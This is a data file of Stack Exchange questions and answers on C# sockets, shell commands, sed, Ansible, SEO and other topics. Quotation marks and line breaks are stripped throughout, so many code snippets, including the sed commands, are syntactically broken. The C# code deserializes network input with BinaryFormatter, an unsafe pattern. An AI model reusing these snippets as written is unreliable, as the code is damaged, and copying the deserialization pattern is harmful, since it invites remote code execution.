Queue<TestServerDataPacket> packetQueue)        {            //            byte[] buffer = new byte[bufferSize];            //            TestServerDataPacket packet;            try            {                // Read Packet Length = 4 bytes                int bytesReceived = 0;                while (bytesReceived < 4)                {                    //                    int byteread = await s.ReadAsync(buffer, bytesReceived, 4 - bytesReceived);                    //                    if (byteread == 0)                    {                        // 0 bytes read = end of stream / disconnected                        throw new Exception(Connection Closed!);                    }                    //                    bytesReceived += byteread;                }                bytesReceived = 0;                // Get Packet Size                int packetSize = BitConverter.ToInt32(buffer, 0);                // Create Packet Byte Array                byte[] packetbytes;                // Read Data                using (MemoryStream memoryStream = new MemoryStream())                {                    // Read Data                    while (bytesReceived < packetSize)                    {                        // Adjust Buffer size to catch only the packet and nothing else                        if (buffer.Length > (packetSize - bytesReceived))                        {                            buffer = new byte[(packetSize - bytesReceived)];                        }                        //                        int count;                        if ((count = await s.ReadAsync(buffer, 0, buffer.Length)) > 0)                        {                            // Save Data                            memoryStream.Write(buffer, 0, buffer.Length);                            // Count                            bytesReceived += count;                        }                    }                    // Get Packet Bytes Array                    packetbytes = memoryStream.GetBuffer();                }                // Create Packet                DeserializeData(packetbytes, out packet);            }            catch            {                throw;            }            //            if (packet != null)            {                packetQueue.Enqueue(packet);            }            //            if (_readContinuously)            {                DoReadContinuously(s, bufferSize, packetQueue);            }        }        private void DeserializeData(byte[] data, out TestServerDataPacket packet)        {            BinaryFormatter formatter = new BinaryFormatter();            using (MemoryStream stream = new MemoryStream())            {                //                stream.Write(data, 0, data.Length);                stream.Seek(0, SeekOrigin.Begin);                //                packet = (TestServerDataPacket)formatter.Deserialize(stream);            }        }    }    [Serializable]    public class TestServerDataPacket    {        // Unique Id        public readonly Guid Id;        // Type        public readonly TestServerPacketType Type;        // Sugnal/Message        public readonly int Signal = 0;        //        public TestServerDataPacket(int signal)        {            Id = Guid.NewGuid();            Signal = signal;            Type = TestServerPacketType.Signal;        }    }    public enum TestServerPacketType    {        Signal    }}"  , "title": "ReadAsync: Continuously reads stream and spits out Packets"  , "tags": "c#;socket;stream;async await"  } 
{  "id": "_unix.347270"  , "question": "I have extracted the user name to perform a test: w | grep ^usera | wc -lwhich will show 1 if the usera have an open session, but now I need more generic use case to extract user group.Example: Extract user group , if group=admin, then wc -l how many users from grp admin have an active session."  , "title": "Extract user group while trying to connect using ssh"  , "tags": "linux;shell script;command line"  } 
{  "id": "_unix.39342"  , "question": "I want to see if my process makes a lot of context switches. I also want to see how manpulating task groups affects the number of context switches."  , "title": "How to see how many context switches a process makes?"  , "tags": "linux;shell;process"  } 
{  "id": "_datascience.20363"  , "question": "how is countvectorizer used in real production environment?do you keep training the model with new features/vocabulary everyday and save the vocab into a flat file and reload them up on the next day?do you use a pipeline to streamline the process?what is the best practice?we are going to implement a combination of countvectorizer,tfidf and some machine learning algo in production system soon and any tips or practical experiences will be appreciated.thanks!"  , "title": "how is countvectorizer used in real production environment?"  , "tags": "nlp;preprocessing"  } 
{  "id": "_webapps.60917"  , "question": "Is there a way to have posts appear in both your Google Plus (business) Page and personal posts without posting twice?For example, if I post to my Page stream, I want that post to also show up in my personal stream and vice versa."  , "title": "Post both to Google Plus Personal and Page?"  , "tags": "google plus"  , "accepted_answer": "No. You will have to post twice or post once and reshare that post."  } 
{  "id": "_softwareengineering.203527"  , "question": "My customer has his own graphics designer he wants to use to style his web application we're building in ASP.NET MVC 4. Our solution is in Bitbucket, but if he can't run it what choices do we have? I doubt he uses Visual Studio 2012. One idea is for us to publish to our solution to a file system, send it to him, have him create a local IIS website on his machine (assuming he isn't using a Mac). Mocking data or pointing to a test SQL in Azure isn't a problem.  Then he can make changes to .css and .cshtml files. Will this even work? The point is that he needs to be able to test his changes. I know he can modify the views and just check-in. But he needs to deliver a working design. So it seems inefficient.The graphics designer will have access to our test site so he can see how it works,  what data we have and fields. Another idea is for him to build a static mock site using just HTML/CSS. Later I'd integrate his styles into customer's solution, split his html into partial views which we use and add Razor syntax. Again, we'd like to leverage graphics designer for all of this.  Is there a best practice documented around this subject? How do other teams deal with this situation?"  , "title": "Best way for an external (remote) graphics designer to style ASP.NET MVC 4 app?"  , "tags": "web development;asp.net mvc;collaboration;web design"  } 
{  "id": "_webmaster.88447"  , "question": "We are using Salesforce's Visualforce to run one of our websites.We use Moz to monitor SEO issues.Moz has identified more issues pages than we have - see the attached image. We have only a few thousand pages at best. However Google and Moz are taking keywords and adding it to the end of the domain and creating a URL that doesn't exist. Recently I made all of these URLs redirect to the home page to see if it resolved the issue - it didn't and the URLs that don't exist are still being crawled.What do I do - this is effecting my rank. Please help?"  , "title": "False Duplicate Content On Moz Report"  , "tags": "seo;htaccess;web development;301 redirect;duplicate content"  , "accepted_answer": "The CMS was just trying to serve broken pages on unreal URLs. I had to add a small php script that identified if the URL was valid or not. If the your was invalid it would redirect to a 404 page"  } 
{  "id": "_webmaster.18421"  , "question": "Let's say I keep every word of file names capitalized.  For example, Home.php or MultipleWordTitle.html.Is there any way for Apache to redirect requests for incorrectly-cased URLs to the capitalized pages, preferrably using .htaccess?Simply rewriting the URL to make the first letter capitalized won't work, since some files have multiple capital letters.Ideally, I'd like the change to be reflected on the user's side, so it would show up as MultipleWordTitle.html in his/her address bar.  It's okay if that can't be done, though."  , "title": "Can Apache Correct URL Case?"  , "tags": "apache;htaccess;url;url rewriting"  , "accepted_answer": "There are many reasons not to ignore the all-lowercase convention but, if you believe you have a good reason for doing so, you can use Apache's mod_speling to ignore case problems in the request and then specify the canonical URL in the document itself, or issue a redirect as LazyOne described."  } 
{  "id": "_softwareengineering.198309"  , "question": "For some time in personal projects I have been using XSL to convert my raw XML data into human-friendly HTML/CSS (in simple projects, I have no JavaScript, so let's leave that out of the equation for simplicity).Now I'm trying to understand the MVC architectural pattern (not my first experience with it, but it is taking some work to go from understanding it basically to understanding it well), and I'm wondering if there is an analogy between the two.XML: data model; lacks the complexity/logic of a full-blown model component, but intent seems similarXSL: converts raw data for viewing—seems like a controllerHTML/CSS (rendered): the viewable outputIs this analogy fitting? What in it matches well and what does not?(One dissimilarity, I suppose, is that in my example I am not getting any input back from the view—only producing output.)"  , "title": "Is XML, HTML/CSS, XSL analogous to Model, View, Controller?"  , "tags": "mvc;html;css;xml;xslt"  , "accepted_answer": "In this case, I would suggest that you don't really have a controller per se. The XML is the model and the XSL (by way of producing an HTML output) is a view on that data. If you had some mechanism which took some user input and filtered (or caused to be filtered) the raw XML prior to the XSL transformation, then you might consider that mechanism to be your controller."  } 
{  "id": "_unix.192325"  , "question": "I want to display a text above the user screen(as an upper layer). I know that there is solutions like xmessages that could display the text in a box, But need it to be displayed without a box on the entire screen if possibleI am running RaspbianIs there any solution/software that could do this ?"  , "title": "How display a text for users in the entire screen"  , "tags": "x11;raspbian;display"  , "accepted_answer": "xosd, which is available in Raspbian, can display text on top of the current X screen. It takes its input from a file or from the standard input:echo Hello | osd_cat -p middle -A centerIt's an old-style X11 application so its configuration can be verbose; changing the font in particular looks likeecho Hello | osd_cat -p middle -A center -f '-*-lucidatypewriter-bold-*-*-*-*-240'or even strictly speakingecho Hello | osd_cat -p middle -A center -f '-*-lucidatypewriter-bold-*-*-*-*-240-*-*-*-*-*-*'You can customise the colour, add a shadow and/or outline, change the delay, even add a progress bar."  } 
{  "id": "_unix.365999"  , "question": "This is the tutorial shows:You can see the /application/nginx -> /application/nginx-1.8.0But I follow the steps:[root@localhost nginx-1.8.0]# ll /application/nginxlrwxrwxrwx. 1 root root 12 5  19 04:01 /application/nginx -> nginx-1.8.0/It is nginx-1.8.0/, there is no /application in front it, and sure the nginx-1.8.0 is the Symbolic Link under the /application.My operating system is Cnet OS 7.2The tutorial operating system is Cent OS 6.8The difference between the tutorial if is the system reason?"  , "title": "In my CentOS 7.2 the symbolic link is not the whole directory"  , "tags": "centos;symlink"  } 
{  "id": "_softwareengineering.151375"  , "question": "Years ago, I was surprised when I discovered that Intel sells Visual Studio compatible compilers. I tried it in particular for C/C++ as well as fantastic diagnostic tools. But the code was simply not that computationally intensive to notice the difference. The only impression was: did Intel really do it for me just now, wow, amazing tools with nanoseconds resolution, unbelievable. But the trial ended and the team never seriously considered a purchase.From your experience, if license cost does not matter, which vendor is the winner?It is not a broad or vague question or attemt to spark a holy war. This sort of question is about two very visible tools. Nobody likes when tools have any mysteries or surprises. And choices between best and best are always the pain. I also understand the grass is always greener argument. I want to hear all what ifs stories.What if Intel just locally optimizes it for the chip stepping of the month, and not every hardware target will actually work as well as Microsoft compiled? What if AMD hardware is the target and everything will slow down for no reason? Or on the other hand, what if Intel's hardware has so many unnoticable opportunities, that Microsoft compiler writers are too slow to adopt and never implement it in the compiler? What if both are the same exactly, actually a single codebase just wrapped into two different boxes and licensed to both vendors by some third-party shop?And so on. But someone knows some answers."  , "title": "Are Intel compilers really better than the Microsoft ones?"  , "tags": "compiler"  , "accepted_answer": "WARNING: Answer based on own experience - YMMVIf the code is really computationally expensive, yes, definitely. I have seen an improvement of over 20x times with the former Intel C++ Compiler (now Intel Studio if I recall correctly) vs the standard Microsoft Visual C++ Compiler. It's true the code was very far from perfect and that may have played a role (actually that's why we bothered using the Intel compiler, it was easier than refactoring the giant codebase), also the CPU used to run the code was an Intel Core 2 Quad, which is the perfect CPU for such a thing, but the results were shocking. The compiler itself contains myriads of ways to optimize code, including targeting a specific CPU in terms of, say, SSE capabilities. It really makes -O2/-O3 run away ashamed. And that was before using the profiler.Note that, however, turning on really aggressive optimizations will make the compilation take quite some time, two hours for a large project is not impossible at all. Also, with high levels of optimizations, there's a higher chance of an error in the code to manifest itself (this can be observed with gcc -O3, too). To a project you know well, this might be a plus, since you'll find and fix any eventual bugs you didn't catch earlier, but when compiling a hairy mess, you just cross your fingers and pray to the x86 gods.Something about performance on AMD machines: It's not as good as Intel CPUs, but it's still way better than the MS C++ compiler (again, from my experience). The reason is that you can also target a generic CPU with SSE2 support (for example). Then AMD CPUs with SSE2 will not be discriminated much. Intel compiler on Intel CPU really steals the show, though. It's not all double rainbows and shiny unicorns, however. There have been some heavy accusations about binaries not-running at all on non-GenuineIntel CPUs and (this one is admitted) artificially induced inferior performance on CPUs by other vendors. Also note this is information from at least 3 years ago and it's validity as of now is unknown, BUT the new product descriptions gives binaries a carte blanche to run as slow as Intel sees fit on non-Intel CPUs.I don't know what it is about Intel and why they make so good numeric computation tools, but have a look at this, too: http://julialang.org/. There is a comparison and if you look at the last row, MATLAB shines by defeating both C code and Julia, what strikes me is that the authors think the reason is Intel's Math Kernel Library.I realize this sounds a lot like an advertisement for the Intel Compiler toolkit, but in my experience it really did the job well, and even simple logic dictates that the guys who make CPUs should know best how to program for them. IMO, the Intel C++ compiler squeezes every last bit of performance gain possible."  } 
{  "id": "_unix.379653"  , "question": "I am using zsh.I will right-click copy something from the zsh window, and then right-click paste it. I always lose some amount of characters and the capitalization of the last character flips. e.g.echo this is a long messagepastes as (empty line)this is a long messaGandvim hello.txtbecomesm hello.tXWhat could be causing this and how do I fix it?"  , "title": "Paste has odd behavior in shell"  , "tags": "shell;zsh;clipboard"  } 
{  "id": "_unix.293460"  , "question": "I must have read about 65 web pages about this issue, and tried them all, but so far I can't get it to work.  I can access my exchange email using Thunderbird, with the imap server set to localhost at port 1143, and the smtp server again set to localhost; this time with port 1025.  These port values are set in my davmail setup, and as I say this is what I use with Thunderbird.The relevant portion of my .muttrc file isset realname = 'Jim Bloggs'set imap_user = 'AD\\12345'set imap_pass = 'My Password' set from = 'Jim.Bloggs@jimsmail.org'# REMOTE FOLDERSset folder = 'imap://12345@localhost:1143/Inbox'set spoolfile ='imap://12345@localhost:1143/' set trash = 'imap://12345@localhost:1143/Trash'# LOCAL FOLDERS FOR CACHED HEADERS AND CERTIFICATESset header_cache =~/.mutt/jim_bloggs/cache/headersset message_cachedir =~/.mutt/jim_bloggs/cache/bodiesset certificate_file =~/.mutt/jim_bloggs/certificates# SMTP SETTINGSset smtp_url = 'smtp://12345@localhost:1025/'set ssl_starttls=yesset smtp_pass = 'My Password' # use the same password as for IMAPCurrently what happen is this: it logs in and starts to download mail (and takes a v..e..r..y long time - about 15 or 20 minutes - to download 1902 headers), and then hangs on Sorting mailbox...I am using mutt quite happily for accessing several gmail accounts, and I would like to use it to access my exchange mail as well.  But how...?"  , "title": "Reading exchange email with mutt and davmail?"  , "tags": "arch linux;mutt;exchange;davmail"  } 
{  "id": "_softwareengineering.302588"  , "question": "I am trying to understand the subtleties of Publisher-subscriber and similar notification mechanisms. I was checking Cocoa NSNotificationCenter, but it's unclear to me if it can be defined as a PubSub, strictly speaking. Is NSNotificationCenter a PubSub?"  , "title": "Is NSNotificationCenter an implementation of a PubSub model?"  , "tags": "pubsub"  } 
{  "id": "_cstheory.11382"  , "question": "I noticed that regular languages over the alphabet $\\Sigma$ can be naturally thought of as a poset, and indeed a lattice. Moreover, concatenation together with the empty language $\\epsilon$ defines a strict monoidal structure on this category that is distributive over joins (I'm not sure about meets). Is this a useful construct in theory or practice of regular languages? Are there some nice adjunctions to be found, e.g. can we define the Kleene star as one?This is a copy of a question asked at the Compilers course at Coursera:https://class.coursera.org/compilers/forum/thread?thread_id=311"  , "title": "Regular languages from category-theoretical point of view"  , "tags": "fl.formal languages;regular language;ct.category theory"  , "accepted_answer": "There has been a lot done applying category theory to regular languages and automata. One starting point is the recent papers:Bialgebraic Review of Deterministic Automata, Regular Expressions and Languagesby Bart JacobsA Bialgebraic Approach to Automata and Formal Language Theory by James Worthington.In the first of these papers, the structure of regular expressions is treated algebraically and the languages generated are dealt with coalgebraically. These two views are integrated in a bialgebraic setting.  A bialgebra is an algebra-coalgebra pair with a suitable distributive law capturing the interplay between the syntactic terms (the regular expressions) and the computational behaviour (languages generated). The basis of this paper is algebra and coalgebra, as treated in computer science under the umbrellas of universal algebra and coalgebra, rather than what one sees in mathematics (groups etc).The second paper uses techniques that come from the more traditional mathematical treatment of algebra (modules etc) and coalgebra, but I'm afraid that I don't know the details.Neither treats Kleene star as an adjunction, as far as I can tell.More generally, there is a lot of work applying category theory to automata instead of regular expressions. A sample of this work includes:Bloom S.L.; Sabadini N.; Walters R.F.C. Matrices, Machines and Behaviors. Applied Categorical Structures, Volume 4, Number 4, December 1996 , pp. 343-360(18)  Michael A. Arbib, Ernest G. Manes: A categorist's view of automata and systems. Category Theory Applied to Computation and Control 1974: 51-64M.A. Arbib and E.G. Manes. Adjoint machines, state-behaviour machines, and duality. Journal of Pure and Applied Algebra, 6:313-344, 1975.M.A. Arbib and E.G. Manes. Machines in a category. Journal of Pure and AppliedAlgebra, 19:9-20, 1980.Jir Admek and Vera Trnkov's book  Automata and Algebras in Categories, as pointed out in a comment.Finally, there's the work on iteration theories, Iteration theories: the equational logic of iterative processes by Stephen L. Bloom and Zoltn sik, which focusses on iteration (e.g., Kleene star), but from a more general perspective, where regular languages are just one thing that falls under the theory."  } 
{  "id": "_unix.30659"  , "question": "I want to change an image depth of bitmap for testing purposes. Right now I am trying to get a 2 bit palette image, and a 4444 Hicolor image. I have a true color bitmap. I used the below command line convert -depth 2 /media/bitmap/rule.bmp lut2bpp.bmpthen when I used identify I got thisImage: lut2bpp.bmpFormat: BMP (Microsoft Windows bitmap image)Class: PseudoClassGeometry: 720x480Type: PaletteEndianess: UndefinedColorspace: RGBChannel depth:Red: 8-bitsGreen: 8-bitsBlue: 8-bitsIt changed it to a palette which is great, how do I get to change channel depth?How about changing that true color 24 bit image to hi color 4444 image?"  , "title": "Using Image Magick Convert to Change Channel Depth?"  , "tags": "linux;command line;conversion;imagemagick"  } 
{  "id": "_unix.208838"  , "question": "I'm trying to retrieve the group ID of two groups (syslog and utmp) by name using an Ansible task. For testing purposes I have created a playbook to retrieve the information from the Ansible host itself.---- name: My playbook  hosts: enabled  sudo: True  connection: local  gather_facts: False  tasks:    - name: Determine GIDs      shell: getent group {{ item }} | cut -d : -f 3      register: gid_{{item}}      failed_when: gid_{{item}}.rc != 0      changed_when: false      with_items:        - syslog        - utmpUnfortunately I get the following error when running the playbook:fatal: [hostname] => error while evaluating conditional: gid_syslog.rc != 0How can I consolidate a task like this one into a parametrized form while registering separate variables, one per item, for later use? So the goal is to have variables based on the group name which can then be used in later tasks.I'm using the int filter on gid_syslog.stdout and gid_utmp.stdout to do some calculation based on the GID in later tasks.I also tried using gid.{{item}} and gid[item] instead of gid_{{item}} to no avail.The following works fine in contrast to the above:---- name: My playbook  hosts: enabled  sudo: True  connection: local  gather_facts: False  tasks:    - name: Determine syslog GID      shell: getent group syslog | cut -d : -f 3      register: gid_syslog      failed_when: gid_syslog.rc != 0      changed_when: false    - name: Determine utmp GID      shell: getent group utmp | cut -d : -f 3      register: gid_utmp      failed_when: gid_utmp.rc != 0      changed_when: false"  , "title": "How would I register a dynamically named variable in an Ansible task?"  , "tags": "ansible"  , "accepted_answer": "I suppose there's no easy way for that.  And register with with_items loop just puts all results of them into an array variable.results.  Try the following tasks:  tasks:    - name: Determine GIDs      shell: getent group {{ item }} | cut -d : -f 3      register: gids      changed_when: false      with_items:        - syslog        - utmp    - debug:        var: gids    - assert:        that:          - item.rc == 0      with_items: gids.results    - set_fact:        gid_syslog: {{gids.results[0]}}        gid_utmp: {{gids.results[1]}}    - debug:        msg: {{gid_syslog.stdout}} {{gid_utmp.stdout}}You cannot either use variable expansion in set_fact keys like this:    - set_fact:        gid_{{item.item}}: {{item}}      with_items: gids.results"  } 
{  "id": "_softwareengineering.299907"  , "question": "Sometimes I find it useful to have a single class with multiple instances (configured differently via their properties), rather than multiple classes (inheritance).??? PatternSingle class (Fruit)Different fruit are instances of Fruit, with properties configured correctly.Behavior implemented as blocks.class Fruit {    var name: String    var color: UIColor    var averageWeight: Double    var eat: () -> ()}class FruitFactory {    static func apple() -> Fruit {        let fruit = Fruit()        fruit.name = Apple        fruit.color = UIColor.redColor()        fruit.averageWeight = 50        fruit.eat = {            washFruit(fruit)            takeBite(fruit)        }        return fruit    }    static func orange() -> Fruit {        let fruit = Fruit()        fruit.name = Orange        fruit.color = UIColor.orangeColor()        fruit.averageWeight = 70        fruit.eat = {            peelFruit(fruit)            takeBite(fruit)        }        return fruit    }}Inheritance PatternFor reference, the same could have been implemented using inheritance:Multiple classes (Fruit, Apple, Orange)Different fruit are classes that inherit from Fruit.Behavior implemented using standard methods that are overridden in subclasses.class Fruit {    var name: String    var color: UIColor    var averageWeight: Double    func eat() {        // abstract method    }}class Apple: Fruit {    var name = Apple    var color = UIColor.redColor()    var averageWeight = 50    override func eat() {        washFruit(self)        takeBite(self)    }}class Orange: Fruit {    var name = Orange    var color = UIColor.orangeColor()    var averageWeight = 70    override func eat() {        peelFruit(self)        takeBite(self)    }}class FruitFactory {    static func apple() -> Fruit {        return Apple()    }    static func orange() -> Fruit {        return Orange()    }}What is the first pattern called?Are there any resources to help me decide when to use one of these patterns over the other?Off the top of my head, I can think of at least one reason to prefer inheritance:Imagine we need to add a new property to Apple, but not to Orange (e.g. averageCoreWeight). If you use inheritance this is trivial. If you use the first pattern, you will be left with a property that is only sometimes used."  , "title": "What is the pattern that uses multiple instances rather than multiple classes called? When would I use it?"  , "tags": "design patterns;inheritance"  } 
{  "id": "_webmaster.31814"  , "question": "Possible Duplicate:What is duplicate content and how can I avoid being penalized for it on my site? My compony's site's home page was not specificly optimized to any location. Now, I am planning to optimize it to Boston, and create ten or so other landing pages for other locations we serve. If we made these new pages by copying the original Boston one and changing the location's name (s/Boston/Montreal/), would Google consider them as duplicate pages and penalize us? What is the best practice for this?"  , "title": "Does Google penalize pseudo-duplicate pages for different locations?"  , "tags": "seo;google;search engines;duplicate content"  } 
{  "id": "_webmaster.52096"  , "question": "Keyword research tools like Keyword Planner seem to fulfill two basic functions:Generate a list of possible keywordsProvide estimates (CPC, traffic, ...) to whittle down this list to the most effective keywordsDo I need the second step? Is there any downside in uploading a huge list with thousands of keywords and just wait and see how they perform? It's pay per click so I'm not losing money on low performing keywords.Ultimately I'm only interested in conversions and that's a metric that can't be estimated by the tools anyway.Edit:As Joshak points out, I need to remove all obviously non-converting keywords. What about other keywords that could theoretically convert but the estimates show it's unlikely. For example 0 traffic or very high cpc, so it's unlikely I will win the bid. It would be more work to remove them and there are slight changes that they bring conversions. Is there any downside in using them?"  , "title": "Should I enter only effective keywords into AdWords?"  , "tags": "google adwords"  , "accepted_answer": "Generally the step 1 you refer to generates a lot of keywords that are marginally relevant or keywords that have no chance of converting, these keywords will still likely drive clicks so step 2 helps you save some (or a lot) of money when you begin your campaigns. It doesn't take long to weed out those keywords that are obviously not helpful as well as gather ideas for negative keywords that will help your campaigns perform to the fullest. In short, even after you whittle down the list there will still be more keywords to weed out once you get real data, but I wouldn't just load the list from step 1 unless you have money to burn."  } 
{  "id": "_unix.325549"  , "question": "I am working with a xml file that looks a bit like this<w:ins w:id=0 w:author=Nick w:date=2016-11-23T00:16:00Z><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick w:date=2016-11-23T00:16:00Z>I am trying to delete everything involving w:date so the product would look like.<w:ins w:id=0 w:author=Nick><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick>Currently, I am trying this incorrect sed command. sed 's/w:date=.*//g' I know this is wrong but I am not sure how I would go about fixing this.EDIT:cat testing.txt  <w:ins w:id=0 w:author=Nick w:date=2016-11-23T00:16:00Z><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick w:date=2016-11-23T00:16:00Z>sed 's/ w:date=[^\\]*//g' testing.txt<w:ins w:id=0 w:author=Nick>"  , "title": "Sed command for deleting an inclusive range of characters"  , "tags": "sed;regular expression"  , "accepted_answer": "Your expression is too greedy. You want to match the attribute, a quote, some non-quote characters then the ending quote:sed 's/ w:date=[^]*//g' file# ..............^^^^<w:ins w:id=0 w:author=Nick><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick>"  } 
{  "id": "_webmaster.86885"  , "question": "When I try to Create a similar ad on Facebook, there is the option to choose an existing ad set in which to publish the ad. But these settings are never updated on the ad creation page, and all ads I create also create a new ad set.How do I create a new ad within an existing ad set?I tried the power editor in Google Chrome, but every new ad was rejected even before upload for not complying to something Instagram, even if it was an exact duplicate of an existing (accepted and active) ad."  , "title": "Creating new ad in existing ad set does not work"  , "tags": "advertising;facebook"  , "accepted_answer": "Worked fine the next morning. I guess the problem was that these functions rely on Javascript, and dynamic JavaScript functionality often fails without error (here in Germany) when the USA wake up and Facebook gets really busy. So if you have a similar problem, try when America sleeps. Solved the problem for me."  } 
{  "id": "_codereview.153271"  , "question": "This is a continued discussion from (4 sum challenge) by return count only.ProblemGiven four lists A, B, C, D of integer values, compute how many tuples  (i, j, k, l) there are such that A[i] + B[j] + C[k] + D[l] is zero.To make problem a bit easier, all A, B, C, D have same length of N  where \\$0 \\le N \\le 500\\$. All integers are in the range of \\$-2^{28}\\$ to \\$2^{28} - 1\\$  and the result is guaranteed to be at most \\$2^{31} - 1\\$.Example:Input:A = [ 1, 2]B = [-2,-1]C = [-1, 2]D = [ 0, 2]Output:2Explanation:The two tuples are:(0, 0, 0, 1) -> A[0] + B[0] + C[0] + D[1] = 1 + (-2) + (-1) + 2 = 0(1, 1, 0, 0) -> A[1] + B[1] + C[0] + D[0] = 2 + (-1) + (-1) + 0 = 0I'm wondering if there are any ideas to have a solution less than \\$O(n^2)\\$ time complexity.Source code in Python 2.7,from collections import defaultdictdef four_sum(A, B, C, D):    sum_map = defaultdict(int)    result = 0    for i in A:        for j in B:            sum_map[i+j] += 1    for i in C:        for j in D:            if -(i+j) in sum_map:                result += sum_map[-(i+j)]    return resultif __name__ == __main__:    A = [1, 2]    B = [-2, -1]    C = [-1, 2]    D = [0, 2]    print four_sum(A,B,C,D)"  , "title": "4 sum challenge (part 2)"  , "tags": "python;algorithm;programming challenge;python 2.7"  , "accepted_answer": "Proof that it cannot be done (at least based on our current understanding) in much better than \\$O(n^2)\\$:Suppose A = B = C and D is a list of zeros. Then the problem reduces to finding three numbers in A that sum to zero. This is the famous 3SUM problem, for which we do not have a much better general solution than \\$O(n^2)\\$."  } 
{  "id": "_softwareengineering.321361"  , "question": "I'm looking for suggestions on how to read large Javascript codebases, for example, of a framework. For example, let's say P5js, but this applies to any large framework (i.e like AngularJS, Ember, etc)My goal is to be able to look through a Javascript framework's source code and be able to understand what various functions do and how they work. I want to be able to investigate the inner workings of the framework and understand what its important objects and variables are.The problem is that the files are so large, functions that are exposed through the documentation internally call several more layers of private functions, and an assortment of internal objects and data structures are referred to. This is true for most frameworks I've examined. On top of that, there are also events, watchers and other mechanisms that make it harder to track what is happening under the hood.With Java, this was a lot easier for me - though still time consuming - because I could open the project in Eclipse and easily navigate through the call stack, call hierarchies, identify types, parameters, etc. With Javascript it just seems impossible.So, what are some good techniques you could recommend for reading and understanding large (multi-thousand line) framworks, particularly in Javascript (though general cross=language techniques are also welcome)"  , "title": "What are some good approaches for reading Javscript code?"  , "tags": "javascript;frameworks;reverse engineering;reading code"  } 
{  "id": "_unix.291304"  , "question": "I load the RHEL 7.2, I forget to select the options before loading OS, after my machine booted through console mode runlevel 3, I installed some dependency package, after reboot I got GUI mode, but after every reboot machine I get console mode then I run the command init 5 for GUI mode.My question is how to set runlevel 5 to default?"  , "title": "How to switch console mode to GUI mode on RHEL7?"  , "tags": "rhel"  } 
{  "id": "_reverseengineering.13248"  , "question": "I tried firmware-mod-kit's extract-firmware.sh script and I receive the following output which ends with No supported filesystem found.The firmware belongs to the TL-WR740Nv5 router.The filesystem of the router is Squashfs 4.0.Here's the output:http://pastebin.com/FM9uE47tWhat do I do?"  , "title": "Firmware-mod-kit says No supported filesystem along with strange and long output"  , "tags": "binary analysis;firmware;binary"  } 
{  "id": "_cogsci.3939"  , "question": "I'm working with a dataset wherein participants rate five different attributes of six device variants; the attribute ratings different variants are very tightly correlated, suggesting  that this dataset has a problem with halo error--participants form an overall impression of the quality of the device, and then instead of reassessing the device for each attribute, they answer each attribute with their overall evaluation of the device.  What strategies are used to combat this effect, either before execution in the design of the study or after execution in the analysis? Citations for evidence for any strategies particularly desired."  , "title": "Minimizing Halo Error"  , "tags": "methodology;statistics;bias;survey;halo effect"  , "accepted_answer": "Murphy & Cleveland (1995) mention, that a good way to reduce rater errors in general is to inform raters of the existence and nature of these errors and then to simply urge to avoid them. While this reduces rater errors, it also decreases the accuracy of ratings, though. These findings come from the literature on performance assessment, where halo is usually thought of as the opposite of accuracy. The unexpected association has been termed the halo-accuracy-paradox.Some authors have proposed that the paradoxical effect is due to different operational definitions of halo (Fisicaro, 1988). Apparently there is some evidence that the paradoxcal effect vanishes when this problem is taken care of.An interesting explanation comes from Latham (Woehr & Huffut, 1994). For him it's all in the way that raters are informed about halo. If raters are told that halo is a global tendency across different ratings and that it is a bad thing, then raters are going to avoid exactly that. But that does not make the ratings more accurate. So when training raters one has to be careful not to create this kind if effect.In contrast, a meta-analysis by Woehr & Huffcut (1994) that investigates the effectiveness of different kinds of rater trainings does not find the paradoxical effect. Instead, rater trainings moderately decreases halo and increases accuracy. The authors also found support for Latham's hypothesis. The mean effect size when rater training was in accordance with his view was bigger compared to the other cases. Still, Murphy and Cleveland (1995) are quite radical in their proposal. To them, there are serious problems with all operational definitions of halo (and rater errors in general). Therefore measurements of rater errors should be abandoned altogether. Hence, in their view it doesn't make sense to speak of a paradox.References:Fisicaro, S. A. (1988). A reexamination of the relation between halo error and accuracy. Journal of Applied Psychology. 73(2), 239.Murphy, K. R. & Cleveland, J.N. (1995). Understanding performance appraisal: Social, organizational, and goal-based perspectives. Thousand Oaks: Sage.Woehr, D. J., & Huffcutt, A. I. (1994). Rater training for performance appraisal: A quantitative review. Journal of Occupational and Organizational Psychology, 67(3), 189-205."  } 
{  "id": "_unix.226438"  , "question": "The getpid system call returns the process id of the invoking process.How does the kernel figure out which process is invoking the system call ?"  , "title": "How does getpid work?"  , "tags": "process;c;system calls"  , "accepted_answer": "The kernel does job scheduling and provides system calls.When a process is running, the kernel schedules its runtime - especially it assigns a PID to it - such information is stored inside the kernel address space, in data structures (e.g. inside a task struct).Thus, when a process calls the getpid() system call, the kernel just has to look in the task structure of the calling (i.e. currently running) process."  } 
{  "id": "_unix.247851"  , "question": "I found this line script in package added by Composerdir=$(echo $dir | sed 's/ /\\ /g')I tried in the Git Bash$ echo $(echo foo\\bar\\ foo/baz/ qux\\\\bax\\\\  | sed 's/ /\\ /g')foo\\bar\\ foo/baz/ qux\\bax\\Can you explain how this works? I can't see match for double backslash.EDIT.Now I see my mistake. Turning double backslash to one backslash in echo has nothing to do with sed.I don't have od in the Git Bash, but I tried.$ echo foo\\bar\\ foo/baz/ qux\\\\bax\\\\  >in.txt$ echo $(echo foo\\bar\\ foo/baz/ qux\\\\bax\\\\  | sed 's/ /\\ /g') >out.txt$ cmp -l in.txt out.txt    27  40  12cmp: EOF on out.txtThe out.txt is one character shorter than in.txt.But I still don't get what does sed 's/ /\\ /g' actually do and why.Might the entire context be useful for viewers#!/usr/bin/env shdir=$(d=${0%[/\\\\]*}; cd $d; cd ../squizlabs/php_codesniffer/scripts && pwd)# See if we are running in Cygwin by checking for cygpath programif command -v 'cygpath' >/dev/null 2>&1; then    # Cygwin paths start with /cygdrive/ which will break windows PHP,    # so we need to translate the dir path to windows format. However    # we could be using cygwin PHP which does not require this, so we    # test if the path to PHP starts with /cygdrive/ rather than /usr/bin    if [[ $(which php) == /cygdrive/* ]]; then        dir=$(cygpath -m $dir);    fifidir=$(echo $dir | sed 's/ /\\ /g')${dir}/phpcs $@"  , "title": "How works sed 's/ /\\ /g'"  , "tags": "sed"  } 
